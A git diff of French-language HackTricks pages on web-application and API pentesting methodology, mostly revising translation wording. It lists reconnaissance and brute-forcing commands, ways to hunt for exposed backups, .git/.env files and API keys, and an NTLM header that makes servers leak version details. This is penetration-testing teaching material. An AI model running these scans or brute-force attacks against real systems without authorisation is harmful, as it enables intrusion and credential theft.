|
|||
* [ ] Un **scanner spécialisé** à exécuter (comme wpscan)?
|
||||
* [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou s'ils vont trouver des informations intéressantes.
|
||||
* [ ] Commencez par les **vérifications initiales**: **robots**, **plan du site**, erreur **404** et analyse **SSL/TLS** (si HTTPS).
|
||||
* [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres** possibles utilisés. Vérifiez également les **découvertes spéciales**.
|
||||
* [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres possibles** utilisés. Vérifiez également les **découvertes spéciales**.
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être exploré._
|
||||
* [ ] **Brute-Force des répertoires** : Essayez de forcer le passage à tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être soumis au Brute-Force._
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être soumis à un brute-force._
|
||||
* [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
|
||||
* [ ] **Brute-Force des paramètres** : Essayez de **trouver des paramètres cachés**.
|
||||
* [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant une **entrée utilisateur**, vérifiez tous les types de **vulnérabilités** qui y sont liées.
|
||||
* [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant des **entrées utilisateur**, vérifiez tous les types de **vulnérabilités** qui y sont liées.
|
||||
* [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Version du serveur (Vulnérable?)
|
||||
|
|
@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
### Identifier
|
||||
|
||||
Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\
|
||||
Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. Un scan **Nmap** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** pourraient également être utiles.
|
||||
Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** pourraient également être utiles.
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
|
@ -128,7 +128,7 @@ Si le **code source** de l'application est disponible sur **github**, en plus de
|
|||
* Les **mots de passe** sont-ils en **texte brut**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
|
||||
* Utilise-t-il une **clé principale** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
|
||||
* Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ?
|
||||
* Y a-t-il des **informations intéressantes dans les problèmes** (résolus et non résolus) de github ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ?
|
||||
* Y a-t-il des **informations intéressantes dans les problèmes** github (résolus et non résolus) ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
|
@ -167,7 +167,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
## Découverte de l'application Web étape par étape
|
||||
|
||||
> À partir de ce point, nous allons commencer à interagir avec l'application Web.
|
||||
> À partir de ce point, nous allons commencer à interagir avec l'application web.
|
||||
|
||||
### Vérifications initiales
|
||||
|
||||
|
|
@ -182,7 +182,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**Forcer des erreurs**
|
||||
|
||||
Les serveurs Web peuvent **avoir un comportement inattendu** lorsqu'ils reçoivent des données étranges. Cela peut ouvrir des **vulnérabilités** ou **révéler des informations sensibles**.
|
||||
Les serveurs web peuvent **avoir un comportement inattendu** lorsqu'ils reçoivent des données étranges. Cela peut ouvrir des **vulnérabilités** ou **divulguer des informations sensibles**.
|
||||
|
||||
* Accédez à des **pages fictives** comme /whatever\_fake.php (.aspx,.html,.etc)
|
||||
* Ajoutez "\[]", "]]", et "\[\[" dans les valeurs des **cookies** et des **paramètres** pour créer des erreurs
|
||||
|
|
@ -194,14 +194,14 @@ Les serveurs Web peuvent **avoir un comportement inattendu** lorsqu'ils reçoive
|
|||
Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment d'autorisations pour **télécharger des fichiers** dans le dossier racine, essayez de :
|
||||
|
||||
* **Forcer** les identifiants par **brute force**
|
||||
* **Téléchargez des fichiers** via WebDav dans le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir les autorisations pour télécharger des fichiers dans d'autres dossiers.
|
||||
* **Téléchargez des fichiers** via WebDav vers le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir l'autorisation de télécharger des fichiers dans d'autres dossiers.
|
||||
|
||||
### **Vulnérabilités SSL/TLS**
|
||||
|
||||
* Si l'application **n'impose pas l'utilisation de HTTPS** à un moment donné, alors elle est **vulnérable aux attaques de l'homme du milieu (MitM)**
|
||||
* Si l'application **ne force pas l'utilisation de HTTPS** à un moment donné, alors elle est **vulnérable aux attaques de l'homme du milieu (MitM)**
|
||||
* Si l'application **envoie des données sensibles (mots de passe) en utilisant HTTP**. Alors c'est une vulnérabilité élevée.
|
||||
|
||||
Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime à la découverte de bugs, ce type de vulnérabilités ne sera probablement pas accepté) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités:
|
||||
Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime de bug, ces types de vulnérabilités ne seront probablement pas acceptées) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
|
@ -215,7 +215,7 @@ sslyze --regular <ip:port>
|
|||
Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée est de **trouver autant de chemins que possible** à partir de l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour trouver autant de chemins valides que possible.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go) : Araignée HTML, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Araignée HML, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Araignée HTML, avec LinkFinder pour les fichiers JS et Archive.org comme source externe.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : Araignée HTML, indique également les "fichiers juteux".
|
||||
* [**evine**](https://github.com/saeeddhqan/evine) (go) : Araignée HTML interactive en CLI. Il recherche également dans Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas une araignée mais peut être utile. Vous pouvez simplement indiquer un fichier avec des hôtes et un fichier avec des chemins et meg récupérera chaque chemin sur chaque hôte et enregistrera la réponse.
|
||||
|
|
@ -224,7 +224,7 @@ Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée e
|
|||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go) : Araignée HTML avec des capacités de rendu JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Araignée HTML, avec des capacités de beauté JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers JavaScript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir de fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL à partir de celui-ci en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives des fichiers moches (minifiés).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils.
|
||||
|
|
@ -236,19 +236,20 @@ Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée e
|
|||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : C'est un outil utilisé pour découvrir des points de terminaison pour une cible donnée.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore) : Découvrir des liens à partir de la machine wayback (en téléchargeant également les réponses dans le wayback et en recherchant plus de liens).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawler (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Araignée de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une extension simple de **Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête pour créer une liste de mots personnalisée pour le fuzzing et l'énumération.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Spider GUI de sécurité web multi-fonction avancé conçu pour les professionnels de la cybersécurité.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **extension Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête afin de créer une liste de mots personnalisée pour le fuzzing et l'énumération.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil impressionnant pour cela.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Commencez le **brute-force** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forcing de manière **récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\
|
||||
Commencez le **brute-forcing** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forcing de manière **récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\
|
||||
Outils :
|
||||
|
||||
* **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et ** lent **) mais fonctionnel. Autorise les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python) : Il n'autorise pas les certificats auto-signés mais permet la recherche récursive.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il autorise les certificats auto-signés, il **n'a pas** de recherche **récursive**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) - Rapide, prend en charge la recherche récursive.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, prend en charge la recherche récursive**.
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf**](https://github.com/ffuf/ffuf) - Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas une araignée mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées".
|
||||
|
|
@ -277,7 +278,7 @@ Outils :
|
|||
|
||||
_Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration de site, il doit être soumis à une attaque par force brute._
|
||||
|
||||
### Ce qu'il faut vérifier sur chaque fichier trouvé
|
||||
### Ce qu'il faut vérifier pour chaque fichier trouvé
|
||||
|
||||
* [**Vérificateur de liens brisés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens brisés à l'intérieur des fichiers HTML qui pourraient être sujets à des prises de contrôle.
|
||||
* **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez des sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
|
|
@ -287,7 +288,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq
|
|||
* _Assetnote "parameters\_top\_1m" :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de "params.txt" :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **identifiants** ou une **fonctionnalité cachée**.
|
||||
* Si vous participez à un **CTF**, une "astuce" courante est de **cacher des informations** à l'intérieur des commentaires sur la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web.
|
||||
* Si vous participez à un **CTF**, une "astuce" courante est de **cacher des informations** à l'intérieur des commentaires à **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web.
|
||||
* **Clés API** : Si vous **trouvez une clé API**, il existe un guide indiquant comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier à quelles APIs la clé peut accéder.
|
||||
* **Buckets S3** : Lors de l'exploration, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/).
|
||||
|
|
@ -302,7 +303,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq
|
|||
* [Si vous trouvez un fichier _**.git**_, des informations peuvent être extraites](git.md)
|
||||
* Si vous trouvez un fichier _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées.
|
||||
* Si vous trouvez des **points de terminaison API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers.
|
||||
* **Fichiers JS** : Dans la section d'exploration, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer l'introduction d'une vulnérabilité potentielle dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* **Fichiers JS** : Dans la section d'exploration, plusieurs outils permettant d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
|
||||
* **Déobfuscateur et désassembleur JavaScript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Embelleur JavaScript** : [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
|
|
@ -324,15 +325,15 @@ Si une page **répond** avec ce **code**, il s'agit probablement d'un **proxy ma
|
|||
**Authentification NTLM - Divulgation d'informations**
|
||||
|
||||
Si le serveur en cours d'exécution demandant une authentification est **Windows** ou si vous trouvez une connexion demandant vos **identifiants** (et demandant un **nom de domaine**), vous pouvez provoquer une **divulgation d'informations**.\
|
||||
**Envoyez** l'en-tête : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison du fonctionnement de l'**authentification NTLM**, le serveur répondra avec des informations internes (version de IIS, version de Windows...) dans l'en-tête "WWW-Authenticate".\
|
||||
Vous pouvez **automatiser** cela en utilisant le plugin **nmap** "_http-ntlm-info.nse_".
|
||||
**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison du fonctionnement de l'**authentification NTLM**, le serveur répondra avec des informations internes (version de IIS, version de Windows...) à l'intérieur de l'en-tête "WWW-Authenticate".\
|
||||
Vous pouvez **automatiser** cela en utilisant le **plugin nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**Redirection HTTP (CTF)**
|
||||
|
||||
Il est possible de **placer du contenu** à l'intérieur d'une **redirection**. Ce contenu ne sera pas affiché à l'utilisateur (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur.
|
||||
### Vérification des vulnérabilités Web
|
||||
|
||||
Maintenant qu'une énumération complète de l'application Web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici :
|
||||
Maintenant qu'une énumération complète de l'application web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici :
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
|
@ -426,13 +427,13 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
|||
|
|
@ -38,18 +38,18 @@ Le test d'intrusion des API implique une approche structurée pour découvrir le
|
|||
### **Astuces efficaces pour le test d'intrusion des API**
|
||||
|
||||
* **Vulnérabilités SOAP/XML** : Explorez les vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de charges utiles si le XML reste valide.
|
||||
* **Élévation de privilèges** : Testez les points de terminaison avec différents niveaux de privilège pour identifier les possibilités d'accès non autorisé.
|
||||
* **Mauvaises configurations CORS** : Enquêtez sur les paramètres CORS pour une exploitabilité potentielle à travers des attaques CSRF à partir de sessions authentifiées.
|
||||
* **Élévation de privilèges** : Testez les points de terminaison avec différents niveaux de privilèges pour identifier les possibilités d'accès non autorisé.
|
||||
* **Mauvaises configurations CORS** : Enquêtez sur les paramètres CORS pour l'exploitabilité potentielle à travers des attaques CSRF à partir de sessions authentifiées.
|
||||
* **Découverte de points de terminaison** : Exploitez les modèles d'API pour découvrir des points de terminaison cachés. Des outils comme les fuzzers peuvent automatiser ce processus.
|
||||
* **Altération de paramètres** : Expérimentez en ajoutant ou remplaçant des paramètres dans les requêtes pour accéder à des données ou fonctionnalités non autorisées.
|
||||
* **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des divulgations d'informations.
|
||||
* **Manipulation du type de contenu** : Passez entre différents types de contenu (x-www-form-urlencoded, application/xml, application/json) pour tester les problèmes d'analyse ou les vulnérabilités.
|
||||
* **Techniques de paramétrage avancées** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec les données XML pour les injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges.
|
||||
* **Test de version** : Les anciennes versions d'API peuvent être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API.
|
||||
* **Techniques de paramètres avancées** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec les données XML pour les injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges.
|
||||
* **Test de version** : Les anciennes versions d'API pourraient être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API.
|
||||
|
||||
### **Outils et ressources pour le test d'intrusion des API**
|
||||
|
||||
* **kiterunner** : Excellent pour découvrir les points de terminaison des API. Utilisez-le pour scanner et effectuer des attaques par force brute sur les chemins et paramètres des API cibles.
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner) : Excellent pour découvrir les points de terminaison des API. Utilisez-le pour scanner et effectuer des attaques par force brute sur les chemins et paramètres des API cibles.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
|
|
@ -57,13 +57,14 @@ kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
|||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
* Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra**, et **restler-fuzzer** offrent des fonctionnalités sur mesure pour les tests de sécurité des API, allant de la simulation d'attaque au fuzzing et à la numérisation des vulnérabilités.
|
||||
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb) : C'est un outil de sécurité des API qui audite votre API en se basant sur un fichier OAS (l'outil est écrit en rust).
|
||||
|
||||
### **Ressources d'apprentissage et de pratique**
|
||||
|
||||
* **OWASP API Security Top 10** : Lecture essentielle pour comprendre les vulnérabilités courantes des API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
* **API Security Checklist** : Une liste de contrôle complète pour sécuriser les APIs ([lien GitHub](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
* **Filtres Logger++** : Pour la chasse aux vulnérabilités des API, Logger++ offre des filtres utiles ([lien GitHub](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **Liste des points de terminaison API** : Une liste organisée des points de terminaison API potentiels à des fins de test ([gist GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
* **API Security Checklist** : Une liste de contrôle complète pour sécuriser les APIs ([Lien GitHub](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
* **Filtres Logger++** : Pour la chasse aux vulnérabilités des API, Logger++ offre des filtres utiles ([Lien GitHub](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **Liste des points de terminaison API** : Une liste organisée des points de terminaison API potentiels à des fins de test ([Gist GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Références
|
||||
|
||||
|
|
@ -85,7 +86,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
|
@ -66,19 +66,19 @@ object-src 'none';
|
|||
```
|
||||
### Directives
|
||||
|
||||
* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne, et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
|
||||
* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
|
||||
* **default-src**: Définit une politique par défaut pour récupérer des ressources lorsque des directives de récupération spécifiques sont absentes.
|
||||
